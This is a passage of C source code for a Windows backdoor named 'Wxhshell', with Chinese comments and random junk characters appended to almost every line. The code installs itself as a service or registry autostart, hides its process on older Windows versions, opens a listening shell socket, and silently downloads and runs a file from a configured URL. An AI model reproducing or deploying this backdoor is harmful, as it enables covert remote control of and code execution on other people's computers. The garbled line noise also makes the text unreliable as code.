ULONG InheritedFromUniqueProcessId; W+5. lf=2>
} PROCESS_BASIC_INFORMATION; 2U(qyC
0N$FIw2
PROCNTQSIP NtQueryInformationProcess; %$i}[U
OkfxX&n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ./L)BLC i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \Pcn D$L
+_+j"BT
HANDLE hProcess; M|fV7g
PROCESS_BASIC_INFORMATION pbi; TBRG
D l
P+wpX
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =|8hG*D8
if(NULL == hInst ) return 0; -Tn%O|#K
+T8MQ[(4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EdkIT|c{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '$?!>HN4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .J O1kt
j#Tl\S!m.I
if (!NtQueryInformationProcess) return 0; %l6E0[
c*\;!dbP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bdG@%K',
if(!hProcess) return 0; &b7_%,Bx4
|(.%`BTD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P{yb%@I~J
e =r
b
CloseHandle(hProcess); ic"8'Rwb
tC5-^5[y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UGj |)/
if(hProcess==NULL) return 0; fc9@l a
]5Dh<QY&.
HMODULE hMod; ~QDM
.5
char procName[255]; C+[)^2M{
unsigned long cbNeeded; aB?usVoS
aT(_c/t.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rn]xxa'
+jyGRSo
CloseHandle(hProcess); X6 N&:<
7nFOVZ
if(strstr(procName,"services")) return 1; // 以服务启动 a^pbBDi
W
Jazg n5
return 0; // 注册表启动 A.dbb'^
} 'W yWO^Bdk
akU2ToP
// 主模块 4^M"V5tDx
int StartWxhshell(LPSTR lpCmdLine) :O$bsw:3w<
{ OZnKJ<
SOCKET wsl; ^_<|~
BOOL val=TRUE; o:fe`#t
int port=0; RAP-vVh/C
struct sockaddr_in door; CxZh^V8LP
l`i97P?/W
if(wscfg.ws_autoins) Install(); \C h01LR"
2E[7RBFY+\
port=atoi(lpCmdLine); I[d<SHo
]JV'z<
if(port<=0) port=wscfg.ws_port; ]bY]YNt{7]
(QJe-)0_y
WSADATA data; rp{|{>'`.q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x3Y)l1gh
b*M?\ aA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n P]!{J]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _lFw1pa#\
door.sin_family = AF_INET; l
$"hhI8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $2?j2}M
door.sin_port = htons(port); fe,6YXUf
=I)43ahd
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~~ rR< re
closesocket(wsl); !hhL",
return 1; ~rJG4U
} |E.BGdS
[nP s
if(listen(wsl,2) == INVALID_SOCKET) { /:'>-253
closesocket(wsl); n2hV}t9O
return 1; >( [,yMIY
} 3m`>D
e
Wxhshell(wsl); ~IS8DW$;
WSACleanup(); 9;?u%
~"CGur P
return 0; }Mt1C~{(
7K:V<vX5
} HP1QI/*v
(rkg0
// 以NT服务方式启动 X3X_=qzc
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]p3f54!
{ ow.!4kx{ d
DWORD status = 0; wz*iwd-
DWORD specificError = 0xfffffff; (Y@T5-!D
$?G@ijk,
serviceStatus.dwServiceType = SERVICE_WIN32; |f#hGk6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; pX?3inQP%(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v/.'st2%
serviceStatus.dwWin32ExitCode = 0; cN8Fn4gq
serviceStatus.dwServiceSpecificExitCode = 0; HdJ g
serviceStatus.dwCheckPoint = 0; U5OX.0
serviceStatus.dwWaitHint = 0; pUb1#=
^hmV?a:Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U`mX
f#D
if (hServiceStatusHandle==0) return; J-5>+E,nZ
8Auek#[
status = GetLastError(); !}#> ky!t
if (status!=NO_ERROR) ]A'{DKR
{ D3X4@sM
serviceStatus.dwCurrentState = SERVICE_STOPPED; L ,dh$F
serviceStatus.dwCheckPoint = 0; d*0RBgn
serviceStatus.dwWaitHint = 0; VNHceH
serviceStatus.dwWin32ExitCode = status; :~vodh
serviceStatus.dwServiceSpecificExitCode = specificError; At4\D+J{Vs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1x:W 3.
return; \}s/<Q
} !i^"3!.l,]
2Lf,~EV
serviceStatus.dwCurrentState = SERVICE_RUNNING; D=TS IJ@
serviceStatus.dwCheckPoint = 0; SG&,o=I$
serviceStatus.dwWaitHint = 0; ir_XU/ve
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a(~Y:v
} >+P}S@
?K>)bA&l'
// 处理NT服务事件,比如:启动、停止 2@<_,'
VOID WINAPI NTServiceHandler(DWORD fdwControl) 49~d6fH
{ H@=oVyn/
switch(fdwControl) ZH_$Q$9
{ (?7=,A7^
case SERVICE_CONTROL_STOP: ^w60AqR8
serviceStatus.dwWin32ExitCode = 0; HcsVq+
serviceStatus.dwCurrentState = SERVICE_STOPPED; j|k/&q[St
serviceStatus.dwCheckPoint = 0; s)a-ky(
serviceStatus.dwWaitHint = 0; 6]?mjG6
{ 3' i6<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E1eGZ&&Gd
} CO='[1"_5
return; gEd A
hfx
case SERVICE_CONTROL_PAUSE: e0zP LU}
serviceStatus.dwCurrentState = SERVICE_PAUSED; Z8#nu
break; 7~e,"^>T
case SERVICE_CONTROL_CONTINUE: @M5+12FYt
serviceStatus.dwCurrentState = SERVICE_RUNNING; ](w)e
p~;3
break; )!2@v@SQ
case SERVICE_CONTROL_INTERROGATE: kGYpJg9=
break; k&ci5MpN
}; ""0Y^M2I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d m8t~38
} iBSM
\ n
im2mA8OH
// 标准应用程序主函数 #'_#t/u
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V]F D'XAl
{ '[
t.
,a?)O6?/
// 获取操作系统版本 gjDNl/r/
OsIsNt=GetOsVer(); MA`nFkVK
GetModuleFileName(NULL,ExeFile,MAX_PATH); k83K2>]
HAxLYun(3w
// 从命令行安装 mr\,"S-`
if(strpbrk(lpCmdLine,"iI")) Install(); (p-q>@m
Kjd3!%4mB
// 下载执行文件 Qr$'Q7
if(wscfg.ws_downexe) { e*7O!Z=O
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vB8$Qx\J
WinExec(wscfg.ws_filenam,SW_HIDE); ,|A^ <R`
} SGWb*grt
]<;7ZNG"Y5
if(!OsIsNt) { _z@/~M(
// 如果时win9x,隐藏进程并且设置为注册表启动 NfV|c~?d
HideProc(); v -}f
P
StartWxhshell(lpCmdLine); d @R7b^#g
} E(~7NRRm
else 4&mY-N7A
if(StartFromService()) JbPkC*.
// 以服务方式启动 dy&G~F28
StartServiceCtrlDispatcher(DispatchTable); ,hn#DJ)
else gNB+e5[; 2
// 普通方式启动 8z`ZHn3=
StartWxhshell(lpCmdLine); qUJ"* )S
;g0Q_F@;p
return 0; Q,3kaR@O
}